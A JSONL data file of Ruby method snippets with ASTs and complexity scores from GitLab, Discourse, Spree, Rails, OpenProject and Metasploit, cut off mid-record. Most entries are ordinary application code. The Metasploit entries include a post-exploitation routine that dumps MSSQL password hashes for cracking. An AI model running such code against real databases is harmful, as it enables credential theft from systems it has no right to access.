{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240825055929_convert_ci_pipelines_to_list_partitioning.rb","start_line":236,"raw_source":"def down\n    FOREIGN_KEYS.each do |fk|\n      with_lock_retries do\n        remove_foreign_key_if_exists(fk[:constrained_table_name], name: fk[:name])\n      end\n    end\n\n    revert_converting_table_to_first_list_partition(\n      table_name: TABLE_NAME,\n      partitioning_column: PARTITION_COLUMN,\n      parent_table_name: PARENT_TABLE_NAME,\n      initial_partitioning_value: FIRST_PARTITION\n    )\n\n    FOREIGN_KEYS.each do |fk|\n      add_concurrent_foreign_key(\n        fk[:constrained_table_name],\n        TABLE_NAME,\n        name: fk[:name],\n        column: fk[:constrained_columns],\n        target_column: fk[:referenced_columns],\n        on_delete: fk[:on_delete_action],\n        on_update: fk[:on_update_action],\n        validate: true,\n        allow_partitioned: true\n      )\n    end\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fk\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constrained_table_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"revert_converting_table_to_first_list_partition\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table_name\"]},{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partitioning_column\"]},{\"type\":\"const\",\"children\":[null,\"PARTITION_COLUMN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_table_name\"]},{\"type\":\"const\",\"children\":[null,\"PARENT_TABLE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initial_partitioning_value\"]},{\"type\":\"const\",\"children\":[null,\"FIRST_PARTITION\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fk\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constrained_table_name\"]}]},{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constrained_columns\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"referenced_columns\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"on_delete_action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"on_update_action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_partitioned\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"e336fd91-cca1-4e70-8cbd-d66040ada5d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/custom.rb","start_line":64,"raw_source":"def initialize(*args, **kwargs)\n          @chain_next_response = true\n          super(*args, **kwargs)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@chain_next_response\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]}]}","id":"596c7eaf-a145-45a6-8a0c-39d939016271"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/presenters/base.rb","start_line":51,"raw_source":"def format_response(response)\n          response[:text] = format(response[:text]) if response.key?(:text)\n\n          if response.key?(:attachments)\n            response[:attachments].each do |attachment|\n              attachment[:pretext] = format(attachment[:pretext]) if attachment[:pretext]\n              attachment[:text] = format(attachment[:text]) if attachment[:text]\n            end\n          end\n\n          response\n        end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"attachments\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attachments\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pretext\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pretext\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pretext\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]},null]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"896eb932-23d3-419e-8e59-70dcdcd77d6e"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders_controller.rb","start_line":42,"raw_source":"def index\n        params[:q] ||= {}\n        params[:q][:s] ||= 'completed_at desc'\n\n        load_orders\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"q\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"s\"]}]},{\"type\":\"str\",\"children\":[\"completed_at desc\"]}]},{\"type\":\"send\",\"children\":[null,\"load_orders\"]}]}]}","id":"b33631a3-6383-4e23-b3e9-02303b21b538"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/uploader/site_settings.rb","start_line":24,"raw_source":"def configure_basic_uploads\n      SiteSetting.clean_up_uploads = false\n      SiteSetting.authorized_extensions = @options[:authorized_extensions]\n      SiteSetting.max_attachment_size_kb = @options[:max_attachment_size_kb]\n      SiteSetting.max_image_size_kb = @options[:max_image_size_kb]\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_basic_uploads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"clean_up_uploads=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"authorized_extensions=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authorized_extensions\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_attachment_size_kb=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_attachment_size_kb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_image_size_kb=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_image_size_kb\"]}]}]}]}]}","id":"bd2bc43e-f9e2-4666-bec9-a173a137f70a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/default/exporter.rb","start_line":67,"raw_source":"def with_participants?\n      ActiveModel::Type::Boolean.new.cast(options[:participants])\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"with_participants?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"participants\"]}]}]}]}","id":"fb8a7a84-3b5f-48ba-b12b-83f6c6cca2a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/database/mark_migration_service.rb","start_line":5,"raw_source":"def initialize(connection:, version:)\n      @connection = connection\n      @version = version\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"connection\"]},{\"type\":\"kwarg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"lvar\",\"children\":[\"connection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"6366bd84-1a6a-4156-9c88-a70be8de61d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/release_environment/notification.rb","start_line":48,"raw_source":"def versions_data\n    JSON.parse(ENV.fetch('VERSIONS', '{}'))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"versions_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"VERSIONS\"]},{\"type\":\"str\",\"children\":[\"{}\"]}]}]}]}","id":"ca91bcb9-6257-4ead-aef4-5364196c79ba"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_generator_test.rb","start_line":526,"raw_source":"def test_scaffold_generator_password_digest\n    run_generator [\"user\", \"name\", \"password:digest\"]\n\n    assert_file \"app/models/user.rb\", /has_secure_password/\n\n    assert_migration \"db/migrate/create_users.rb\" do |m|\n      assert_method :change, m do |up|\n        assert_match(/t\\.string :name/, up)\n        assert_match(/t\\.string :password_digest/, up)\n      end\n    end\n\n    assert_file \"app/controllers/users_controller.rb\" do |content|\n      assert_instance_method :user_params, content do |m|\n        assert_match(/expect\\(user: \\[ :name, :password, :password_confirmation \\]\\)/, m)\n      end\n    end\n\n    assert_file \"app/views/users/_form.html.erb\" do |content|\n      assert_match(/<%= form\\.password_field :password %>/, content)\n      assert_match(/<%= form\\.password_field :password_confirmation %>/, content)\n    end\n\n    assert_file \"app/views/users/index.html.erb\" do |content|\n      assert_no_match(/password/, content)\n    end\n\n    assert_file \"app/views/users/show.html.erb\" do |content|\n      assert_no_match(/password/, content)\n    end\n\n    assert_file \"test/controllers/users_controller_test.rb\" do |content|\n      assert_match(/password: \"secret\"/, content)\n      assert_match(/password_confirmation: \"secret\"/, content)\n    end\n\n    # System tests should not be generated by default\n    assert_no_file \"test/system/users_test.rb\"\n\n    assert_file \"test/fixtures/users.yml\" do |content|\n      assert_match(/password_digest: (.+)$/, content)\n      digest = content.match(/password_digest: ([^#\\s]+)/)[1].strip\n      assert BCrypt::Password.new(digest) == \"secret\"\n    end\n  end","complexity_score":43.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_generator_password_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"password:digest\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"has_secure_password\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"str\",\"children\":[\"db/migrate/create_users.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"up\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string :name\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.string :password_digest\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"up\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"user_params\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"expect\\\\(user: \\\\[ :name, :password, :password_confirmation \\\\]\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/users/_form.html.erb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<%= form\\\\.password_field :password %>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<%= form\\\\.password_field :password_confirmation %>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/users/index.html.erb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/users/show.html.erb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/controllers/users_controller_test.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password: \\\"secret\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password_confirmation: \\\"secret\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"test/system/users_test.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/fixtures/users.yml\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password_digest: (.+)$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"lvasgn\",\"children\":[\"digest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password_digest: ([^#\\\\s]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BCrypt\"]},\"Password\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"digest\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"secret\"]}]}]}]}]}]}]}","id":"da49cd5e-1eb8-4186-9a9f-b955ddde7f8c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/kernel.rb","start_line":378,"raw_source":"def yama_enabled?\n          yama_ptrace_scope > 0\n        rescue StandardError\n          raise 'Could not determine Yama status'\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"yama_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"yama_ptrace_scope\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not determine Yama status\"]}]}]},null]}]}","id":"e552863e-f433-4334-a0c2-75148b9eba9b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/table.rb","start_line":21,"raw_source":"def self.new(*args, &block)\n    style, opts = args\n\n    if style == Style::Default\n      opts['Indent']  = 3\n      if (!opts['Prefix'])\n        opts['Prefix']  = \"\\n\"\n      end\n      if (!opts['Postfix'])\n        opts['Postfix'] = \"\\n\"\n      end\n    end\n\n    instance = super(opts, &block)\n    if style == Style::Default\n      instance.extend(DefaultStyle)\n    end\n    instance\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\"]},{\"type\":\"lvasgn\",\"children\":[\"opts\"]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Style\"]},\"Default\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Prefix\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Prefix\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Postfix\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Postfix\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"instance\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Style\"]},\"Default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"DefaultStyle\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"instance\"]}]}]}","id":"87dc4be4-f5c4-407b-8724-7a006303e945"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/mssql_local_hashdump.rb","start_line":106,"raw_source":"def get_sql_hash(instance_name)\n    version_year = get_sql_version(instance_name)\n\n    case version_year\n    when '2000'\n      hash_type = 'mssql'\n      query = mssql_2k_password_hashes\n    when '2005', '2008'\n      hash_type = 'mssql05'\n      query = mssql_2k5_password_hashes\n    when '2012', '2014'\n      hash_type = 'mssql12'\n      query = mssql_2k5_password_hashes\n    else\n      fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')\n    end\n\n    print_status('Attempting to get password hashes...')\n\n    res = run_sql(query, instance_name)\n\n    if res.include?('0x')\n      # Parse Data\n      if hash_type == 'mssql12'\n        res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|\n          pair.hex.chr\n        end\n      end\n      hash_array = res.split(\"\\r\\n\").grep(/0x/)\n\n      store_hashes(hash_array, hash_type)\n    else\n      fail_with(Failure::Unknown, 'Unable to retrieve hashes')\n    end\n  end","complexity_score":48.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_sql_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version_year\",{\"type\":\"send\",\"children\":[null,\"get_sql_version\",{\"type\":\"lvar\",\"children\":[\"instance_name\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_year\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"2000\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash_type\",{\"type\":\"str\",\"children\":[\"mssql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"mssql_2k_password_hashes\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"2005\"]},{\"type\":\"str\",\"children\":[\"2008\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash_type\",{\"type\":\"str\",\"children\":[\"mssql05\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"mssql_2k5_password_hashes\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"2012\"]},{\"type\":\"str\",\"children\":[\"2014\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash_type\",{\"type\":\"str\",\"children\":[\"mssql12\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"mssql_2k5_password_hashes\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to determine MSSQL Version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to get password 